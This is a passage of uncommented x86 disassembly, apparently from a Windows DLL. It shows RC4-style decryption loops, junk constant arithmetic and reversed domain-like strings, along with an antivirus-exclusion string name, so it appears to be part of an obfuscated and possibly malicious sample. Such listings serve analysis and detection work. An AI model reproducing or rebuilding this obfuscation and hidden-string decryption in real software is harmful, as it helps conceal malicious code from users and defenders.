push str.Upsilonafrican
mov ecx, eax
mov dword [ebp - 8], eax
mov dword [0x1003bc10], eax
call fcn.10004b2e
mov eax, dword [ebp - 8]
inc esi
pop ecx
cmp esi, edi
jb 0x1000872f
mov dword [ebp - 0x34], esi
xor edx, edx
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov al, byte [ebp + esi - 0x1e0]
mov byte [ebp + ecx - 0x1e0], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x1e0], al
mov dword [ebp - 0x14], ecx
cmp ecx, 0x100
jb 0x100086ad
mov ecx, edx
mov dword [ebp - 0x18], edx
mov edi, edx
lea eax, [edi + 1]
movzx eax, al
mov dword [ebp - 0xa8], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x34], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x84], eax
call fcn.10004dbc
push 0xd
pop ecx
mov esi, str.taskbar_list_item_pattern
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
push 0x67
xor eax, eax
pop ecx
mov dword [ebp - 0x14], eax
cmp cx, word [ebp - 0x70]
jne 0x10008830
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10008830
cmp word [ebp + ecx - 0x70], ax
je 0x10008830
call fcn.10004257
mov eax, dword [ebp - 0x14]
inc eax
push 0
mov dword [ebp - 0x14], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.gfffffffH]
pop eax
cmp dx, word [ebp + ecx - 0x70]
je 0x10008804
mov ecx, dword [ebp - 0x84]
mov edi, dword [ebp - 0xa8]
push 0x1764
mov al, byte [ebp + ecx - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1e0], al
call dword [sym.imp.USER32.dll_GetTopWindow]
movzx ecx, byte [ebp + edi - 0x1e0]
mov esi, eax
add ecx, dword [ebp - 0x34]
or esi, 0x9ea3b30b
mov eax, dword [ebp - 0x18]
add esi, 0x36358e97
movzx ecx, cl
mov dword [0x1003bc10], esi
mov cl, byte [ebp + ecx - 0x1e0]
xor cl, byte [ebp + eax - 0x98]
mov byte [ebp + eax - 0x238], cl
inc eax
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x18], eax
cmp eax, 9
jb 0x100087b9
xor eax, eax
mov dword [ebp - 0x70], 0x1c12
push 0xd
mov byte [ebp - 0x22f], al
mov ecx, eax
mov dword [ebp - 0x6c], 0xb2f
mov dword [ebp - 0x68], 0x2012
mov dword [ebp - 0x64], 0x254f
mov dword [ebp - 0x60], 0xca2
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0x1b37
mov dword [ebp - 0x4c], 0x13d9
mov dword [ebp - 0x48], 0x65b
mov dword [ebp - 0x44], 0x125b
mov dword [ebp - 0x40], 0x16da
pop edx
cmp ecx, 6
je 0x10008912
inc ecx
cmp ecx, edx
jl 0x10008908
mov ecx, dword [ebp + ecx*4 - 0x70]
add esi, 0xa9c825
push 0x39
mov dword [ebp - 0x34], ecx
pop ecx
mov dword [ebp - 0x70], 0x88b
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], 0xa5b
mov dword [ebp - 0x64], 0x1f80
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], 0xbc7
mov dword [ebp - 0x58], 0xdb
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 0x155e
mov dword [ebp - 0x4c], 0xe1a
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0x41c
cmp eax, 4
je 0x10008973
inc eax
cmp eax, edx
jl 0x10008969
mov eax, dword [ebp + eax*4 - 0x70]
xor eax, 0x38
mov dword [ebp - 0x28], 0x623018e5
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0xc7deea6b
mov dword [ebp - 0x20], 0xd2c22988
call fcn.10004a5f
xor eax, eax
cmp byte [str.yerudieresiscyrillic], al
je 0x100089c5
imul esi, esi, 0x6af05b13
inc eax
cmp byte [eax + str.yerudieresiscyrillic], 0
jne 0x100089a1
cmp eax, 0x1603
jb 0x100089c5
call fcn.10005a16
imul eax, esi, 0xfc51e076
jmp 0x100089d0
call fcn.10004dbc
lea eax, [esi + 0x2a085829]
push str.muesum.ecalap
mov edx, str.yerudieresiscyrillic
mov dword [ebp - 8], eax
mov ecx, eax
call fcn.1000482f
pop ecx
push 8
pop ecx
mov esi, str.AvBehav_PropertyListFileExclusions
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x55
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x14], eax
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x60], cl
jne 0x10008a1d
test cl, cl
je 0x10008a1a
cmp byte [ebp + eax - 0x60], 0
je 0x10008a1a
mov cl, byte [eax + 0x1002ea71]
inc eax
cmp cl, byte [ebp + eax - 0x60]
je 0x10008a02
mov dword [ebp - 0x14], eax
mov ecx, str.Upsilonafrican
call fcn.10003e29
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 0x14]
jmp 0x10008a5d
call fcn.10004257
mov eax, dword [ebp - 8]
cmp edi, 0x42d
jne 0x10008a47
or eax, 0x9f537a79
imul eax, eax, 0x89f1f762
mov ecx, str.yerudieresiscyrillic
mov edx, eax
mov dword [ebp - 8], eax
call fcn.10005d0f
inc edi
cmp edi, esi
jb 0x10008a32
xor dword [ebp - 8], 0x81b64c18
lea edi, [ebp - 0xc0]
mov esi, str.pj.onagan.eakas
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005742
push 8
pop ecx
mov esi, str.Scan_not_started
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
push 0x67
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov dword [ebp - 0xc], eax
cmp cx, word [ebp - 0x5c]
jne 0x10008ace
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10008ace
cmp word [ebp + ecx - 0x5c], ax
je 0x10008ace
mov ecx, str.gfffffffH
call fcn.100045cc
mov edx, dword [ebp - 0xc]
inc edx
mov dword [ebp - 0xc], edx
push 0
pop eax
lea ecx, [edx + edx]
movzx edx, word [ecx + str.gfffffffH]
cmp dx, word [ebp + ecx - 0x5c]
je 0x10008a9d
mov esi, dword [ebp - 8]
mov ecx, str.yerudieresiscyrillic
mov edx, esi
call fcn.10005d0f
mov edi, dword [ebp - 0xb0]
cmp edi, dword [ebp - 0xc]
jae 0x10008b0f
cmp edi, 0x1c8c
jne 0x10008af6
or esi, 0xb1637c83
mov ecx, str.Upsilonafrican
sub esi, 0x430fcd6d
call fcn.10003e29
inc edi
cmp edi, dword [ebp - 0xc]
jb 0x10008ae8
mov dword [ebp - 8], esi
xor eax, eax
mov ecx, eax
mov byte [ebp + ecx - 0x1e0], cl
inc ecx
cmp ecx, 0x100
jb 0x10008b13
mov edi, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x1e0]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0xac]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc0]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x1e0], al
cmp edi, 0x100
jb 0x10008b27
push 0x11
pop ecx
or dword [ebp - 8], 0xaee9286a
lea edi, [ebp - 0x80]
mov esi, str.app.datasafe.VaultEncryptionStatus
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push 0x6d
pop ecx
mov dword [ebp - 0x10], eax
mov edx, eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0xac], eax
cmp cx, word [ebp - 0x80]
jne 0x10008c13
mov esi, ecx
mov ecx, eax
test si, si
je 0x10008bbc
cmp word [ebp + ecx - 0x80], ax
je 0x10008bbc
inc edx
lea ecx, [edx + edx]
movzx esi, word [ecx + str.muesum.ecalap]
cmp si, word [ebp + ecx - 0x80]
je 0x10008b9e
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 8]
mov dword [ebp - 0x14], edx
cmp edi, edx
jae 0x10008c16
call fcn.10004a5f
cmp edi, 0x1937
jne 0x10008bf3
imul esi, esi, 0xe401ac2c
mov edx, str.Upsilonafrican
push str.gfffffffH
push esi
mov ecx, esi
call fcn.1000401b
pop ecx
pop ecx
sub esi, 0x868b5bc
push esi
push ecx
mov edx, esi
mov ecx, str.yerudieresiscyrillic
call fcn.10004e17
inc edi
pop ecx
pop ecx
cmp edi, dword [ebp - 0x14]
jb 0x10008bcc
xor eax, eax
jmp 0x10008c16
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xac]
or esi, 0x5c9a7ea6
mov dword [ebp - 8], esi
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + edi - 0x1e0]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1e0]
mov byte [ebp + edi - 0x1e0], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1e0], cl
movzx eax, byte [ebp + edi - 0x1e0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1e0]
xor al, byte [ebp + esi - 0x28]
mov byte [ebp + esi - 0x2cc], al
inc esi
cmp esi, 0xc
jb 0x10008c27
mov esi, str.MAIN_FRAME
mov byte [ebp - 0x98], 0xf2
lea edi, [ebp - 0x28]
mov dword [ebp - 0x96], 0x81d92ecf
push 0xf
xor eax, eax
mov word [ebp - 0x92], 0xa265
movsd dword es:[edi], dword [esi]
pop ecx
mov byte [ebp - 0x2c0], al
mov byte [ebp - 0x97], cl
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x90], 0xb4
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
mov edi, eax
mov ecx, str.gfffffffH
call fcn.100045cc
add esi, 0xb015e8aa
xor eax, eax
inc edi
cmp word [edi*2 + str.muesum.ecalap], ax
jne 0x10008cc3
mov dword [ebp - 0x14], edi
call fcn.100057bb
mov edi, dword [ebp - 0xb0]
cmp edi, dword [ebp - 0x14]
jae 0x10008d3a
mov edx, esi
jmp 0x10008cfd
cmp edi, 0x27e
jne 0x10008d1f
imul esi, edx, 0xca339377
mov edx, str.Upsilonafrican
push str.muesum.ecalap
push esi
mov ecx, esi
call fcn.1000401b
pop ecx
pop ecx
add esi, 0x581eee24
mov ecx, esi
mov edx, esi
call fcn.10005714
inc edi
mov dword [ebp - 0xac], edx
cmp edi, dword [ebp - 0x14]
jb 0x10008cf7
add esi, 0x8cd5e051
lea edi, [ebp - 0x60]
mov dword [ebp - 8], esi
xor eax, eax
mov dword [0x1003bc10], esi
mov esi, str.2_.asw.pam.proto.LeakDuplicityInfo
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x55
pop ecx
mov dword [ebp - 0x10], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x60], cl
jne 0x10008d91
test cl, cl
je 0x10008d89
cmp byte [ebp + eax - 0x60], 0
je 0x10008d89
mov esi, dword [0x1003bc10]
jmp 0x10008d94
mov esi, dword [ebp - 8]
mov edx, str.Upsilonafrican
mov ecx, str.gfffffffH
call fcn.10005f15
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
jmp 0x10008dd5
cmp eax, edi
jb 0x10008dab